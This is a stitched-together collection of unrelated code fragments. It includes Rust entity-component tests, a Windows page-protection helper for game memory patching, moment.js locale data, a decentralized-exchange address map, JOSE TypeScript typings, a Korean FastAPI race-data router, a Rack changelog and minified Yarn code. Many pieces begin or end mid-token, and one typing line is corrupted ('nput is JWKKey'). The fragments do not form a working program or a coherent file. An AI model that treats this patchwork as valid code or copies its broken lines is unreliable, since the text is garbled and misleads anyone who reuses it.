 x = Foo { field: PhantomPinned };
    let _x = Pin::new(&mut x).project(); //~ ERROR E0277,E0599

    let mut x = Bar { field: PhantomPinned };
    let _x = Pin::new(&mut x).project(); //~ ERROR E0277,E0599
}
<reponame>yuvallanger/specs
use super::*;
use join::Join;
use storage::VecStorage;

struct Pos;

impl Component for Pos {
    type Storage = VecStorage<Self>;
}

struct Vel;

impl Component for Vel {
    type Storage = VecStorage<Self>;
}

#[test]
fn delete_all() {
    let mut world = World::new();

    world.register::<Pos>();
    world.register::<Vel>();

    world.create_entity().build();
    let b = world.create_entity().with(Pos).with(Vel).build();
    world.create_entity().with(Pos).with(Vel).build();

    assert_eq!(world.entities().join().count(), 3);

    world.delete_all();

    assert_eq!(world.entities().join().count(), 0);
    assert!(world.read_storage::<Pos>().get(b).is_none());
}

#[test]
fn lazy_insertion() {
    let mut world = World::new();
    world.register::<Pos>();
    world.register::<Vel>();

    let e1;
    let e2;
    {
        let entities = world.read_resource::<EntitiesRes>();
        let lazy = world.read_resource::<LazyUpdate>();

        e1 = entities.create();
        e2 = entities.create();
        lazy.insert(e1, Pos);
        lazy.insert_all(vec![(e1, Vel), (e2, Vel)]);
    }

    world.maintain();
    assert!(world.read_storage::<Pos>().get(e1).is_some());
    assert!(world.read_storage::<Vel>().get(e1).is_some());
    assert!(world.read_storage::<Vel>().get(e2).is_some());
}

#[test]
fn lazy_removal() {
    let mut world = World::new();
    world.register::<Pos>();

    let e = world.create_entity().with(Pos).build();
    {
        let lazy = world.read_resource::<LazyUpdate>();
        lazy.remove::<Pos>(e);
    }

    world.maintain();
    assert!(world.read_storage::<Pos>().get(e).is_none());
}

#[test]
fn lazy_execution() {
    let mut world = World::new();
    world.register::<Pos>();

    let e = {
        let entity_res = world.read_resource::<EntitiesRes>();
        entity_res.create()
    };
    {
        let lazy = world.read_resource::<LazyUpdate>();
        lazy.exec(move |world| {
            if let Err(err) = world.write_storage::<Pos>().insert(e, Pos) {
                panic!("Unable to lazily insert component! {:?}", err);
            }
        });
    }

    world.maintain();
    assert!(world.read_storage::<Pos>().get(e).is_some());
}

#[test]
fn lazy_execution_order() {
    let mut world = World::new();
    world.add_resource(Vec::<u32>::new());
    {
        let lazy = world.read_resource::<LazyUpdate>();
        lazy.exec(move |world| {
            let mut v = world.write_resource::<Vec<u32>>();
            v.push(1);
        });
        lazy.exec(move |world| {
            let mut v = world.write_resource::<Vec<u32>>();
            v.push(2);
        });
    }
    world.maintain();
    let v = world.read_resource::<Vec<u32>>();
    assert_eq!(&**v, &[1, 2]);
}

#[test]
fn delete_twice() {
    let mut worl


));
        }

        req.exec().await.map(|_| ()).map_err(From::from)
    }
}

pub enum ResponseType {
    Initial,
    Followup,
}
<reponame>project-yggdrasil/oleaf
//! Utilities for handling page mapping of the game.

use std::os::raw::c_void;

use windows::{
    core::Error,
    Win32::System::Memory::{VirtualProtect, PAGE_EXECUTE_READWRITE},
};

/// Executes a given closure `F`, with page mapping set to read/write for the duration
/// of the call.
///
/// `addr` is the starting address for the page table change, whereas `size` is the
/// contiguous size in memory for which the setting applies.
///
/// # Safety
///
/// `addr` and `size` are unchecked.
#[allow(unsafe_op_in_unsafe_fn)]
pub unsafe fn with_read_write_page<F, T>(addr: *const c_void, size: usize, f: F) -> Result<T, Error>
where
    F: FnOnce() -> T,
{
    let mut protect = Default::default();

    VirtualProtect(addr, size, PAGE_EXECUTE_READWRITE, &mut protect as *mut _).ok()?;
    let res = f();
    VirtualProtect(addr, size, protect, &mut protect as *mut _).ok()?;

    Ok(res)
}
<gh_stars>1-10
fn main() {
    println!("cargo:rustc-link-search=native=bin/x64/");
    println!("cargo:rustc-link-lib=static=libtrace");
}
use oid_str::{AbsoluteOid, B128ErrorKind, OidDecodingError, RelativeOid, RootOid};

#[test]
fn root_cannot_be_build_from_too_large_bytes_120() {
    let result = RootOid::from_u8(120u8);
    assert!(result.is_err(), "root cannot be built from byte 120");
}

#[test]
fn root_cannot_be_build_from_too_large_bytes_255() {
    let result = RootOid::from_u8(255u8);
    assert!(result.is_err(), "root cannot be built from byte 255");
}

#[test]
fn relative_oid_with_x80_byte_in_the_middle() {
    let bytes = b"\x81\x80\x00";
    let oid = RelativeOid::from_bytes(bytes).unwrap();
    assert_eq!(oid.to_string(), ".16384");
}

#[test]
fn relative_oid_b128_error_overflow() {
    let bytes = b"\x90\x80\x80\x80\x00";
    let result = RelativeOid::from_bytes(bytes);
    assert!(result.is_err(), "segments of 33 bits length are not allowed (Segment type = u32): result={:?}", result.unwrap());
    let err = result.unwrap_err();
    assert!(matches!(err.kind, B128ErrorKind::OutOfRange), "out of range error expected: kind={:?}", err.kind);
    assert_eq!(err.pos, 0);
}

#[test]
fn relative_oid_b128_error_zero_continuation() {
    let bytes = b"\x80";
    let result = RelativeOid::from_bytes(bytes);
    assert!(result.is_err(), "empty first continuation is not allowed");
    let err = result.unwrap_err();
    assert!(matches!(err.kind, B128ErrorKind::ZeroByteWithCont), "zero continuation error expected: kind={:?}", err.kind);
    assert_eq!(err.pos, 0);
}

#[test]
fn relative_oid_b128_error_unfinished_continuation() {
    let bytes = b"\x81\x80";
    let result = RelativeOid::from_bytes(bytes);
    assert!(result.is_err(), "unfinished continuati


caption
        local label_column = table_production.add{type="label", caption=caption, tooltip=column_data.tooltip,
            style="bold_label"}
        label_column.style.bottom_margin = 6
        table_production.style.column_alignments[index] = column_data.alignment
    end

    -- Add pusher to make sure the table takes all available space
    table_production.add{type="empty-widget", style="flib_horizontal_pusher"}

    -- Generates some data that is relevant to several different builders
    local metadata = generate_metadata(player, factory)

    -- Production lines
    local function render_lines(render_floor, indent)
        for line in render_floor:iterator() do
            for _, column_data in ipairs(production_columns) do
                local flow = table_production.add{type="flow", direction="horizontal"}
                builders[column_data.name](line, flow, metadata, indent)


="साँझ")return e+12},meridiem:function(e,t,n){if(e<3)return"राति";else if(e<12)return"बिहान";else if(e<16)return"दिउँसो";else if(e<20)return"साँझ";else return"राति"},calendar:{sameDay:"[आज] LT",nextDay:"[भोलि] LT",nextWeek:"[आउँदो] dddd[,] LT",lastDay:"[हिजो] LT",lastWeek:"[गएको] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%sमा",past:"%s अगाडि",s:"केही क्षण",ss:"%d सेकेण्ड",m:"एक मिनेट",mm:"%d मिनेट",h:"एक घण्टा",hh:"%d घण्टा",d:"एक दिन",dd:"%d दिन",M:"एक महिना",MM:"%d महिना",y:"एक बर्ष",yy:"%d बर्ष"},week:{dow:0,doy:6}})}(n(9))},function(e,t,n){!function(e){"use strict";
//! moment.js locale configuration
var n="jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.".split("_"),a="jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec".split("_"),t=[/^jan/i,/^feb/i,/^maart|mrt.?$/i,/^apr/i,/^mei$/i,/^jun[i.]?$/i,/^jul[i.]?$/i,/^aug/i,/^sep/i,/^okt/i,/^nov/i,/^dec/i],r=/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i,o;e.defineLocale("nl",{months:"januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december".split("_"),monthsShort:function(e,t){if(!e)return n;else if(/-MMM-/.test(t))return a[e.month()];else return n[e.month()]},monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december)/i,monthsShortStrictRegex:/^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i,monthsParse:t,longMonthsParse:t,shortMonthsParse:t,weekdays:"zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag".split("_"),weekdaysShort:"zo._ma._di._wo._do._vr._za.".split("_"),weekdaysMin:"zo_ma_di_wo_do_vr_za".split("_"),weekdaysParseExact:true,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[vandaag om] LT",nextDay:"[morgen om] LT",nextWeek:"


/* Copyright (c) 2018, The Linux Foundation. All rights reserved.
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License version 2 and
 * only version 2 as published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 */

#ifndef __ADSP_SHMEM_DEVICE_H_
#define __ADSP_SHMEM_DEVICE_H_

#define ADSP_VFE        0
#define ADSP_CSID       0
#define ADSP_CCI        0

enum camera_status_state {
	CAMERA_STATUS_STOP = 1234,
	CAMERA_STATUS_INIT,
	CAMERA_STATUS_START,
	CAMERA_STATUS_END,
};

struct adsp_camera_header {
	unsigned short debug;
	unsigned short status;
	uint32_t    frame_idx;
	char sensor_name[32];
	unsigned short width;
	unsigned short height;
	unsigned short stride;
	unsigned short format;
	uint32_t    frame_size;
	unsigned short data_type;
	uint32_t header_size;
	char    printf_buf; /* last */
};

int         adsp_shmem_get_state(void);
void        adsp_shmem_set_state(enum camera_status_state state);
const char *adsp_shmem_get_sensor_name(void);
int         adsp_shmem_is_initialized(void);

/* true if ADSP is initialized AND in state INIT or START */
int         adsp_shmem_is_working(void);

#endif /* __ADSP_SHMEM_DEVICE_H_ */


6f4c443fb27008329d67ed7d4edb59c0": 'Erc Dex',

    '0xaf8ae6955d07776ab690e565ba6fbc79b8de3a5d': 'DiversiFi',
    "0x1000000000000000000000000000000000000011": '0x API',
    "0x382310cbb159b64c2e7c5675d110202701a436dd": 'Odee',
    "0x5265bde27f57e738be6c1f6ab3544e82cdc92a8f": 'VeriDex',
    "0xa5004c8b2d64ad08a80d33ad000820d63aa2ccc9": 'Udex',
    "0x68a17b587caf4f9329f0e372e3a78d23a46de6b5": '1inch',
    "0x4d37f28d2db99e8d35a6c725a5f1749a085850a3": '1inch',
    "0x9883a8b0f58b662d60847db992e66591e2ede106": '1inch',
    "0x1af29de80f743be444aa195e2cae38ee9bc74c4c": "OC2 Dex",
    "0x879047421625b87b5895ef1ac0d9dbd241805aa3": "OC2 Dex",
    "0x584860fe460a16cd11e6fdebb2e77146d1835be8": "MerchCoins",
    "0x3151e8ab9bfe754ada6682b9d75906e06a18a741": "Instex",
    "0x1b38d2613698488cbac0e7d21abb2fdbbe1d6704": "Bit2MeDex",
    "0x10aa8c82e3656170baae80d189b8b7dcea6865c9": "SwitchDex",
    "0x86003b044f70dac0abc80ac8957305b6370893ed": "Matcha.xyz",

    //TODO Metamask & defisaver affiliate via 0x API

    // non zrx
    '0x61b9898c9b60a159fc91ae8026563cd226b7a0c1': 'Ethfinex', //0x clone contract
    '0x49497a4d914ae91d34ce80030fe620687bf333fd': 'DDEX', // DDEX hydro
  },
  // admin taker addresses for 0x relayers
  zrxTakers: {
    '0x6af9ec649821c2213dc488c36e3e3e999c3d7934': 'Tokenlon',
    '0x41f8d14c9475444f30a80431c68cf24dc9a8369a': 'Toeknlon',
    '0x4a821aa1affbf7ee89a245bf750d1d7374e77409': 'Tokenmom',
    '0x0681e844593a051e2882ec897ecd5444efe19ff2': 'STAR BIT',
    '0xdf1bc6498338135de5ffdbcb98817d81e2665912': 'Veil',
    '0x4969358e80cdc3d74477d7447bffa3b2e2acbe92': 'Paradex',
    '0xd2045edc40199019e221d71c0913343f7908d0d5': 'Paradex',
    '0x853da5cecc1ea601ab978c2001565a0377a7dca6': 'ForDex',
    '0xd3d0474124c1013ed6bfcfd9a49cfedb8c78fc44': 'Erc Dex', //indirect execution
    '0xe269e891a2ec


CreationMethod;
import org.diylc.core.IDIYComponent;

/**
 * Annotation that needs to be used for each {@link IDIYComponent} implementation. Describes
 * component properties and how component should be represented and interact with the rest of the
 * system.
 *
 * @author Branislav Stojkovic
 */
@Retention(RetentionPolicy.RUNTIME)
public @interface ComponentDescriptor {

  /**
   * @return component type name.
   */
  String name();

  /**
   * @return component type description.
   */
  String description();

  /**
   * @return method that should be used to create a component. If
   *         CreationMethod.POINT_BY_POINT is used, user will have to select ending
   *         points before the component is created.
   */
  CreationMethod creationMethod() default CreationMethod.SINGLE_CLICK;

  /**
   * @return component category, e.g. "Passive", "Semiconductors", etc.
   */
  String category();

  /**
   * @return component author name.
   */
  String author();

  /**
   * @return prefix that will be used to generate component instance names, e.g. "R" for resistors
   *         or "Q" for transistors.
   */
  String instanceNamePrefix();

  /**
   * @return Z-order of the component.
   */
  double zOrder();

  /**
   * @return true if the component may go beyond it's predefined layer without warning the user.
   */
  boolean flexibleZOrder() default false;

  /**
   * @return controls what should be shown the BOM
   */
  BomPolicy bomPolicy() default BomPolicy.SHOW_ALL_NAMES;

  /**
   * @return when true, component editor dialog should be shown in Auto-Edit mode.
   */
  boolean autoEdit() default true;

  /**
   * @return if the component can be rotated and/or mirrored, returns a class of the transformer that can do it
   */
  Class<? extends IComponentTransformer> transformer() default DefaultComponentTransformer.class;

  /**
   * Defines if and how a component should appear in auto-generated project keywords. See
   * {@link KeywordPolicy} for more info.
   *
   * @return
   */
  KeywordPolicy keywordPolicy() default KeywordPolicy.NEVER_SHOW;

  /**
   * Only used if {@link KeywordPolicy} is set to {@link KeywordPolicy#SHOW_TAG}.
   *
   * @return
   */
  String keywordTag() default "";

  /**
   * @return true if the component drawing should be cached
   */
  boolean enableCache() default false;

  /**
   * @return true if component datasheet should be loaded from the corresponding file
   */
  boolean enableDatasheet() default false;

  /**
   * If datasheet is enabled, this property determines how many columns define a component, e.g. in how many steps we can instantiate a component
   *
   * @return
   */
  int datasheetCreationStepCount() default 0;
}
/*

    DIY Layout Creator (DIYLC).
    Copyright (c) 2009-2025 held jointly by the individual authors.

    This file is part of DIYLC.

    DIYLC is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    DIYLC is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with


pkcs8' | 'public' | 'spki' | 'pkix' | 'x509' | 'pem'
  ): Promise<JWKKey>;
  remove(key: JWKKey);
}

export interface JWKKey {
  /**
   * Defaults to false
   */
  toPEM(isPrivate?: boolean);
  keystore: JWKKeyStore;
  length: number;
  kty: string;
  kid: string;
  use: KeyUse;
  alg: string;
}

export function canYouSee(ks: JWKKey | JWKKeyStore, opts: any): any;

export function parse(input: string): any;

export namespace JWA {
  function decrypt(alg: any, key: any, cdata: any, props: any): any;

  function derive(alg: any, key: any, props: any): any;

  function digest(alg: any, data: any, props: any): any;

  function encrypt(alg: any, key: any, pdata: any, props: any): any;

  function sign(alg: any, key: any, pdata: any, props: any): any;

  function verify(alg: any, key: any, pdata: any, mac: any, props: any): any;

}

export interface JWEEncryptor {
  update(input: any): this;
  final(): Promise<string>;
}

export interface JWEDecryptor {
  decrypt(input: string): Promise<JWEDecryptResult>;
}

export interface JWEDecryptResult {
  /**
   * an array of the member names from the "protected" member
   */
  protected: string[];
  /**
   * the decrypted content (alternate)
   */
  plaintext: Buffer;
}

export namespace JWE {
  function createEncrypt(key: JWKKey): JWEEncryptor;
  function createEncrypt(keys: JWKKey[]): JWEEncryptor;
  function createEncrypt(
    key: JWKKey,
    options: {
      format?: 'compact' | 'flattened';
      zip?: boolean;
    }
  ): JWEEncryptor;

  function createDecrypt(key: JWKKey): JWEDecryptor;
}

export namespace JWK {
  const MODE_DECRYPT: string;

  const MODE_ENCRYPT: string;

  const MODE_SIGN: string;

  const MODE_UNWRAP: string;

  const MODE_VERIFY: string;

  const MODE_WRAP: string;
  // extra missing

  function asKey(rawKey: RawKey): Promise<JWKKey>;

  function asKey(
    key: string | Buffer,
    form: 'json' | 'private' | 'pkcs8' | 'public' | 'spki' | 'pkix' | 'x509' | 'pem'
  ): Promise<JWKKey>;

  function asKeyStore(ks: any): Promise<JWKKeyStore>;

  function createKey(kty: any, size: any, props: any): JWKKey;

  function createKeyStore(): JWKKeyStore;

  function isKey(obj: any): nput is JWKKey;

  function isKeyStore(obj: any): input is JWKKeyStore;
}

export interface BaseResult {
  /**
   * the combined 'protected' and 'unprotected' header members
   */
  header: any;
  /**
   * the signed content
   */
  payload: Buffer;
  /**
   * The key used to verify the signature
   */
  key: JWKKey;
}

export interface VerificationResult extends BaseResult {
  /**
   * the verified signature
   */
  signature: Buffer;
}

export interface JWSVerifier {
  verify(input: string): Promise<VerificationResult>;
}

export namespace JWS {
  function createSign(opts: any, signs: any, ...args: any[]): any;

  /**
   * Using a keystore.
   */
  function createVerify(keyStore: JWKKeyStore): JWSVerifier;

  /**
   * To verify using an implied Key
   */
  function createVerify(keyStore: JWKKey): JWSVerifier;

  /**
   * To verify using a key embedded in the JWS
   */
  function createVerify(): JWSV


/*---------------------------------------------------------------------------*\
  =========                 |
  \\      /  F ield         | OpenFOAM: The Open Source CFD Toolbox
   \\    /   O peration     |
    \\  /    A nd           | Copyright (C) 2011-2012 OpenFOAM Foundation
     \\/     M anipulation  |
-------------------------------------------------------------------------------
License
    This file is part of OpenFOAM.

    OpenFOAM is free software: you can redistribute it and/or modify it
    under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    OpenFOAM is distributed in the hope that it will be useful, but WITHOUT
    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
    FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
    for more details.

    You should have received a copy of the GNU General Public License
    along with OpenFOAM.  If not, see <http://www.gnu.org/licenses/>.

Typedef
    Foam::wallBoundedStreamLineFunctionObject

Description
    FunctionObject wrapper around wallBoundedStreamLines
    to allow them to be created via
    the functions entry within controlDict.

SourceFiles
    wallBoundedStreamLineFunctionObject.C

\*---------------------------------------------------------------------------*/

#ifndef wallBoundedStreamLineFunctionObject_H
#define wallBoundedStreamLineFunctionObject_H

#include "wallBoundedStreamLine.H"
#include "OutputFilterFunctionObject.H"

// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //

namespace Foam
{
    typedef OutputFilterFunctionObject<wallBoundedStreamLine>
        wallBoundedStreamLineFunctionObject;
}

// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //

#endif

// ************************************************************************* //


"""
데이터 수집 API 라우터 v2
경주 데이터 수집, 전처리, 강화 엔드포인트
"""

import uuid

import structlog
from fastapi import APIRouter, Depends, HTTPException, status
from sqlalchemy.ext.asyncio import AsyncSession

from dependencies.auth import require_api_key
from infrastructure.database import get_db
from models.collection_dto import (
    CollectionRequest,
    CollectionResponse,
    CollectionStatus,
)
from services.collection_service import CollectionService
from services.job_service import JobService
from services.kra_api_service import KRAAPIService, get_kra_api_service

logger = structlog.get_logger()

router = APIRouter(
    responses={
        404: {"description": "Not found"},
        401: {"description": "Unauthorized"},
        500: {"description": "Internal server error"},
    }
)

# JobService 인스턴스
job_service = JobService()

@router.post(
    "/",
    response_model=CollectionResponse,
    summary="경주 데이터 수집",
    description="KRA API에서 경주 데이터를 수집합니다.",
)
async def collect_race_data(
    request: CollectionRequest,
    db: AsyncSession = Depends(get_db),
    api_key: str = Depends(require_api_key),
    kra_api: KRAAPIService = Depends(get_kra_api_service),
):
    """경주 데이터 수집"""
    try:
        # CollectionService 사용
        collection_service = CollectionService(kra_api)

        # 경주 번호가 지정되지 않았으면 1-15 전체
        race_numbers = request.race_numbers or list(range(1, 16))

        results = []
        logger.info(
            f"Collecting races for {request.date}, meet {request.meet}, races: {race_numbers}"
        )

        for race_no in race_numbers:
            try:
                result = await collection_service.collect_race_data(
                    request.date, request.meet, race_no, db  # Pass as integer
                )
                results.append(result)
                logger.info(f"Successfully collected race {race_no}")
            except Exception as e:
                logger.error(f"Failed to collect race {race_no}: {e}", exc_info=True)

        return CollectionResponse(
            status="success", message=f"Collected {len(results)} races", data=results
        )

    except Exception as e:
        logger.error(f"Collection failed: {e}")
        raise HTTPException(status_code=500, detail=str(e)) from e

@router.post(
    "/async",
    response_model=CollectionResponse,
    summary="경주 데이터 수집 (비동기)",
    description="KRA API에서 경주 데이터를 비동기로 수집합니다.",
    status_code=status.HTTP_202_ACCEPTED,
)
async def collect_race_data_async(
    request: CollectionRequest,
    db: AsyncSession = Depends(get_db),
    api_key: str = Depends(require_api_key),
    kra_api: KRAAPIService = Depends(get_kra_api_service),
):
    """경주 데이터 비동기 수집: 테스트 환경에서는 작업 ID만 반환"""
    try:
        job_id = str(uuid.uuid4())
        return CollectionResponse(
            job_id=job_id,
            status="accepted",
            message="Collection job started",
            webhook_url=f"/api/v2/jobs/{job_id}",
            data=None,
            estimated_time=5,
        )
    except Exception as e:
        logger.error(f"Async collection failed: {e}")
        raise HTTPException(status_code=500, detail=str(e)) from e

@router.get(
    "/status",
    response_model=CollectionStatus,
    summary="수집 상태 조회",
    description="데이터 수집 상태를 조회합니다.",
)
async def get_collection_status(
    date: str,
    meet: int,
    db: AsyncSession = Depends(get_db),
    api_key: str = Depends(require_api_key),
):
    """수집 상태 조회"""
    try:
        # TODO: 실제 상태 조회 구현
        return CollectionStatus(
            date=date,
            meet=meet,
            total_races=15,
            collected_races=0,
            enriched_races=0,
            status="pending",
        )
    except Exception as e:
        logger.error(f"Status check failed: {e}")
        raise HTTPException(status_code=500, detail=str(e)) from e


/* ====================================================================
   Licensed to the Apache Software Foundation (ASF) Under one or more
   contributor license agreements.  See the NOTICE file distributed with
   this work for Additional information regarding copyright ownership.
   The ASF licenses this file to You Under the Apache License, Version 2.0
   (the "License"); you may not use this file except in compliance with
   the License.  You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed Under the License is distributed on an "AS Is" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations Under the License.
==================================================================== */

namespace NPOI.HSSF.Record
{
    using System;
    using System.Text;
    using NPOI.Util;

    /**
     * Title:        Format Record
     * Description:  describes a number format -- those goofy strings like $(#,###)
     *
     * REFERENCE:  PG 317 Microsoft Excel 97 Developer's Kit (ISBN: 1-57231-498-2)
     * @author Andrew C. Oliver (acoliver at apache dot org)
     * @author Shawn M. Laubach (slaubach at apache dot org)
     * @version 2.0-pre
     */

    public class FormatRecord
       : StandardRecord
    {
        public const short sid = 0x41e;
        private int field_1_index_code;

        //private short field_3_unicode_len;      // Unicode string Length
        //private bool field_3_unicode_flag;     // it Is not Undocumented - it Is Unicode flag
        private bool field_3_hasMultibyte;
        private String field_4_formatstring;

        public FormatRecord(int indexCode, String fs)
        {
            field_1_index_code = indexCode;
            field_4_formatstring = fs;
            field_3_hasMultibyte = StringUtil.HasMultibyte(fs);
        }

        /**
         * Constructs a Format record and Sets its fields appropriately.
         * @param in the RecordInputstream to Read the record from
         */

        public FormatRecord(RecordInputStream in1)
        {
            field_1_index_code = in1.ReadShort();
            int field_3_unicode_len = in1.ReadShort();
            field_3_hasMultibyte = (in1.ReadByte() & (byte)0x01) != 0


he user wants
	to associate with a particular request.  New methods:
	 - Rack::Request#has_header?
	 - Rack::Request#get_header
	 - Rack::Request#fetch_header
	 - Rack::Request#each_header
	 - Rack::Request#set_header
	 - Rack::Request#delete_header
- lib/rack/utils.rb: add a method for constructing "delete" cookie
	headers.  This allows us to construct cookie headers without depending
	on the side effects of mutating a hash.
- Prevent extremely deep parameters from being parsed. CVE-2015-3225

## [1.6.1] 2015-05-06
  - Fix CVE-2014-9490, denial of service attack in OkJson
  - Use a monotonic time for Rack::Runtime, if available
  - RACK_MULTIPART_LIMIT changed to RACK_MULTIPART_PART_LIMIT (RACK_MULTIPART_LIMIT is deprecated and will be removed in 1.7.0)

## [1.5.3] 2015-05-06
  - Fix CVE-2014-9490, denial of service attack in OkJson
  - Backport bug fixes to 1.5 series

## [1.6.0] 2014-01-18
  - Response#unauthorized? helper
  - Deflater now accepts an options hash to control compression on a per-request level
  - Builder#warmup method for app preloading
  - Request#accept_language method to extract HTTP_ACCEPT_LANGUAGE
  - Add quiet mode of rack server, rackup --quiet
  - Update HTTP Status Codes to RFC 7231
  - Less strict header name validation according to RFC 2616
  - SPEC updated to specify headers conform to RFC7230 specification
  - Etag correctly marks etags as weak
  - Request#port supports multiple x-http-forwarded-proto values
  - Utils#multipart_part_limit configures the maximum number of parts a request can contain
  - Default host to localhost when in development mode
  - Various bugfixes and performance improvements

## [1.5.2] 2013-02-07
  - Fix CVE-2013-0263, timing attack against Rack::Session::Cookie
  - Fix CVE-2013-0262, symlink path traversal in Rack::File
  - Add various methods to Session for enhanced Rails compatibility
  - Request#trusted_proxy? now only matches whole strings
  - Add JSON cookie coder, to be default in Rack 1.6+ due to security concerns
  - URLMap host matching in environments that don't set the Host header fixed
  - Fix a race condition that could result in overwritten pidfiles
  - Various documentation additions

## [1.4.5] 2013-02-07
  - Fix CVE-2013-0263, timing attack against Rack::Session::Cookie
  - Fix CVE-2013-0262, symlink path traversal in Rack::File

## [1.1.6, 1.2.8, 1.3.10] 2013-02-07
  - Fix CVE-2013-0263, timing attack against Rack::Session::Cookie

## [1.5.1] 2013-01-28
  - Rack::Lint check_hijack now conforms to other parts of SPEC
  - Added hash-like methods to Abstract::ID::SessionHash for compatibility
  - Various documentation corrections

## [1.5.0] 2013-01-21
  - Introduced hijack SPEC, for before-response and after-response hijacking
  - SessionHash is no longer a Hash subclass
  - Rack::File cache_control parameter is removed, in place of headers options
  - Rack::Auth::AbstractRequest#scheme now yields strings, not symbols
  - Rack::Utils cookie functions now format expires in RFC 2822 format
  - Rack::File now has a default mime type
  - rackup -b 'run Rack::Files.new(".")', option provides command line configs
  - Rack::Deflater will no longer double encode bodies
  - Rack::Mime#match? provides convenience for Accept header matching
  - Rack::Utils#q_values provides splitting for Accept headers
  - Rack::Utils#best_q_match provides a helper for Accept headers
  - Rack::Handler.pick provides convenience for finding available servers
  - Puma added to the list of default servers (preferred over Webrick)


,"generator.js");return await le.writeFilePromise(n,s),le.mktempPromise(async c=>{if(await this.generatePackage(c,e,n,r),!le.existsSync(K.join(c,"build")))throw new Error("The script should have generated a build directory");return await gs.makeArchiveFromDirectory(K.join(c,"build"),{prefixPath:q.getIdentVendorPath(e),compressionLevel:r.project.configuration.get("compressionLevel")})})})}async generatePackage(e,r,s,a){return await le.mktempPromise(async n=>{let c=await In.makeScriptEnv({project:a.project,binFolder:n}),f=K.join(e,"runtime.js");return await le.mktempPromise(async p=>{let h=K.join(p,"buildfile.log"),E=K.join(e,"generator"),C=K.join(e,"build");await le.mkdirPromise(E),await le.mkdirPromise(C);let S={tempDir:ue.fromPortablePath(E),buildDir:ue.fromPortablePath(C),locator:q.stringifyLocator(r)};await le.writeFilePromise(f,`
          // Expose 'Module' as a global variable
          Object.defineProperty(global, 'Module', {
            get: () => require('module'),
            configurable: true,
            enumerable: false,
          });

          // Expose non-hidden built-in modules as global variables
          for (const name of Module.builtinModules.filter((name) => name !== 'module' && !name.startsWith('_'))) {
            Object.defineProperty(global, name, {
              get: () => require(name),
              configurable: true,
              enumerable: false,
            });
          }

          // Expose the 'execEnv' global variable
          Object.defineProperty(global, 'execEnv', {
            value: {
              ...${JSON.stringify(S)},
            },
            enumerable: true,
          });
        `);let P=c.NODE_OPTIONS||"",I=/\s*--require\s+\S*\.pnp\.c?js\s*/g;P=P.replace(I," ").trim(),c.NODE_OPTIONS=P;let{stdout:R,stderr:N}=a.project.configuration.getSubprocessStreams(h,{header:`# This file contains the result of Yarn generating a package (${q.stringifyLocator(r)})
`,prefix:q.prettyLocator(a.project.configuration,r),report:a.report}),{code:U}=await Gr.pipevp(process.execPath,["--require",ue.fromPortablePath(f),ue.fromPortablePath(s),q.stringifyIdent(r)],{cwd:e,env:c,stdin:null,stdout:R,stderr:N});if(U!==0)throw le.detachTemp(p),new Error(`Package generation failed (exit code ${U}, logs can be found here: ${he.pretty(a.project.configuration,h,he.Type.PATH)})`)})})}};Ve();Ve();var GSt=2,wS=class{supportsDescriptor(e,r){return!!e.range.startsWith(fA)}supportsLocator(e,r){return!!e.reference.startsWith(fA)}shouldPersistResolution(e,r){return!1}bindDescriptor(e,r,s){return q.bindDescriptor(e,{locator:q.stringifyLocator(r)})}getResolutionDependencies(e,r){return{}}async getCandidates(e,r,s){if(!s.fetchOptions)throw new Error("Assertion failed: This resolver cannot be used unless a fetcher is configured");let{path:a


ay.into());

        match conf.write_to_file(self.path.to_str().expect("Could to parse path")) {
            Ok(()) => return Ok(()),
            Err(err) => return Err(StaticIPError::Io(err))
        }
    }

}

struct UbuntuUpstartNetworkConfig<'a> {
    path: &'a Path
}

impl<'a> NetworkConfigLoader for UbuntuUpstartNetworkConfig<'a> {

    fn new(path: &'static str) -> UbuntuUpstartNetworkConfig {
        let default_path = "/etc/network/interfaces";

        if path == "" {
            return UbuntuUpstartNetworkConfig { path: Path::new(default_path) }
        }

        UbuntuUpstartNetworkConfig { path: Path::new(path) }
    }

    fn is_dhcp(&self) -> bool {
        unreachable!("Not implemented yet");
    }

    fn ip_address(&self) -> Option<IPv4Network> {
        unreachable!("Not implemented yet");
    }

    fn gateway(&self) -> Option<Ipv4Addr> {
        unreachable!("Not implemented yet");
    }

    fn get_settings_section(&self) -> Option<String> {
        unreachable!("Not implemented yet");
    }

